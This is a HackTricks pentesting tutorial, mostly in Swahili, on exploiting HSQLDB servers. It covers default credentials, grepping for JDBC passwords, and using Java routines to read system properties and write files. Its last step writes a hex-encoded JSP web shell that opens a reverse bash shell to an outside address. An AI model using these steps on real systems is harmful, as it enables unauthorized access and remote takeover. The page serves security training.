9001 - Pentesting HSQLDB

Reading time: 4 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Basic Information

HSQLDB (HyperSQL DataBase) ni mfumo mkuu wa hifadhidata ya SQL inayohusiana iliyoandikwa kwa Java. Inatoa injini ndogo, ya haraka ya hifadhidata yenye nyuzi nyingi na ya muamala yenye meza za ndani na za diski na inasaidia hali za kuingizwa na seva.

Port ya kawaida: 9001

text
9001/tcp open  jdbc      HSQLDB JDBC (Network Compatibility Version 2.3.4.0)

Default Settings

Kumbuka kwamba kwa kawaida huduma hii inafanya kazi katika kumbukumbu au imefungwa kwa localhost. Ikiwa umeipata, huenda umefanya matumizi ya huduma nyingine na unatafuta kuongeza mamlaka.

Akina taarifa za msingi kwa kawaida ni sa bila nenosiri.

Ikiwa umefanya matumizi ya huduma nyingine, tafuta taarifa zinazowezekana za kuingia kwa kutumia

text
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search

Kumbuka jina la database kwa makini - utahitaji hilo kuungana.

Info Gathering

Unganisha na DB instance kwa kupakua HSQLDB na kutoa hsqldb/lib/hsqldb.jar. Endesha programu ya GUI (eww) kwa kutumia java -jar hsqldb.jar na uungane na instance kwa kutumia akidi zilizogunduliwa/za udhaifu.

Kumbuka URL ya muunganisho itakuwa na muonekano kama huu kwa mfumo wa mbali: jdbc:hsqldb:hsql://ip/DBNAME.

Tricks

Java Language Routines

Tunaweza kuita mbinu za statiki za darasa la Java kutoka HSQLDB kwa kutumia Java Language Routines. Kumbuka kwamba darasa linaloitwa linahitaji kuwa katika classpath ya programu.

JRTs zinaweza kuwa functions au procedures. Functions zinaweza kuitwa kupitia taarifa za SQL ikiwa mbinu ya Java inarudisha moja au zaidi ya mabadiliko ya msingi yanayofaa kwa SQL. Zinaitwa kwa kutumia taarifa ya VALUES.

Ikiwa mbinu ya Java tunayotaka kuita inarudisha void, tunahitaji kutumia taratibu inayoitwa kwa taarifa ya CALL.

Reading Java System Properties

Unda kazi:

text
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'

Tekeleza kazi:

text
VALUES(getsystemproperty('user.name'))

Unaweza kupata orodha ya mali za mfumo hapa.

Andika Maudhui kwenye Faili

Unaweza kutumia com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename Java gadget iliyoko katika JDK (iliyopakiwa kiotomatiki kwenye njia ya darasa la programu) kuandika vitu vilivyoandikwa kwa hex kwenye diski kupitia utaratibu maalum. Kumbuka ukubwa wa juu wa 1024 bytes.

Unda utaratibu:

text
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'

Tekeleza utaratibu:

text
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks